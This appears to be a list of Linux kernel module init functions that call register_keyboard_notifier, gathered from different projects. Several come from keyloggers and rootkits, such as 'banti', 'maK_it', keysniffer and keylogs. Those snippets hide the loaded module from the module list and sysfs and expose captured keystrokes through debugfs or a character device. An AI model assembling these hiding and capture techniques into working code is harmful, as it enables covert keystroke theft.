int kbd_init(void) { idev = input_allocate_device(); if (!idev) return -ENOMEM; idev->evbit[0] = BIT_MASK(EV_KEY); idev->name = "kbd"; idev->phys = "/kbd/input0"; idev->id.bustype = BUS_I8042; idev->id.vendor = 0x0001; idev->id.product = 1; idev->id.version = 0; set_bit(KEY_LEFT, idev->keybit); int err = input_register_device(idev); if(err) { printk(KERN_ERR "kbd: Can't register device\n"); input_free_device(idev); idev = NULL; return err; } register_keyboard_notifier(&nb); return 0; }
static int __init keylogs_init(void) { register_keyboard_notifier(&keylogs_nb); // Non-blocking call list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); sema_init(&sem, 1); return 0; }
/* Module Init */ static int kit_init(void) { printk(KERN_INFO "Module Init!\n"); // Mount keyboard hook register_keyboard_notifier(&keyboard_nb); return 0; }
static int hello_init(void) { printk(KERN_ALERT "KBD_N - Installing kbd_notifier.\n"); //notice when a key is pressed? yes, please! register_keyboard_notifier(&nb); return 0; }
/* * Initialise module. Function initialises module with insmod * command is given and hides it afther initialisation */ static int __init banti_keylog_init(void) { /* Hide module */ init_banti(); banti_module_hide(); /* Register notifier */ register_keyboard_notifier(¬ifer_deamon); printk(KERN_INFO "Registring banti keyboard module\n"); return 0; }
void present_message(void) { printk(PLVL "Message from reminder module:\n"); print_line(); if (!message) printk(PLVL "!!!No message has been written into the reminder!!!\n"); else printk(PLVL "%s\n", message); print_line(); printk(PLVL "End of message. Press any key to continue.\n"); register_keyboard_notifier(&nb); while(wait_for_keypress){} unregister_keyboard_notifier(&nb); }
int klg_init(void) { int result; /* Registering device */ result = register_chrdev(KLG_MAJOR, DEV_NAME, &klg_fops); if (result < 0) return result; register_keyboard_notifier(&nb); memset(buffer, 0, sizeof buffer); #if(LOUD > 0) printk(KERN_DEBUG "[Key logger]: Inserting klg module\n"); #endif return 0; }
static int __init keysniffer_init(void) { buf_pos = 0; subdir = debugfs_create_dir("kisni", NULL); if (IS_ERR(subdir)) return PTR_ERR(subdir); if (!subdir) return -ENOENT; file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops); if (!file) { debugfs_remove_recursive(subdir); return -ENOENT; } register_keyboard_notifier(&keysniffer_blk); return 0; }
int braille_register_console(struct console *console, int index, char *console_options, char *braille_options) { int ret; if (!console_options) /* Only support VisioBraille for now */ console_options = "57600o8"; if (braille_co) return -ENODEV; if (console->setup) { ret = console->setup(console, console_options); if (ret != 0) return ret; } console->flags |= CON_ENABLED; console->index = index; braille_co = console; register_keyboard_notifier(&keyboard_notifier_block); register_vt_notifier(&vt_notifier_block); return 0; }
static int init_mod(void){ //hide module on start hide_module(); //Listen for keys. register_keyboard_notifier(&nb); sema_init(&s, 1); //Register a character device memset(keyBuffer, 0, sizeof(keyBuffer)); major = register_chrdev(DEVICE_MAJOR, DEVICE_NAME, &fops); if(debug == 1) printk(KERN_ALERT "maK_it: Major %i \n", DEVICE_MAJOR); if(major < 0){ if(debug == 1) printk(KERN_INFO "maK_it: Major device failed with -1"); return major; } return 0; }
static int __init init_killer(void) { register_keyboard_notifier(&killer_nb); return 0; }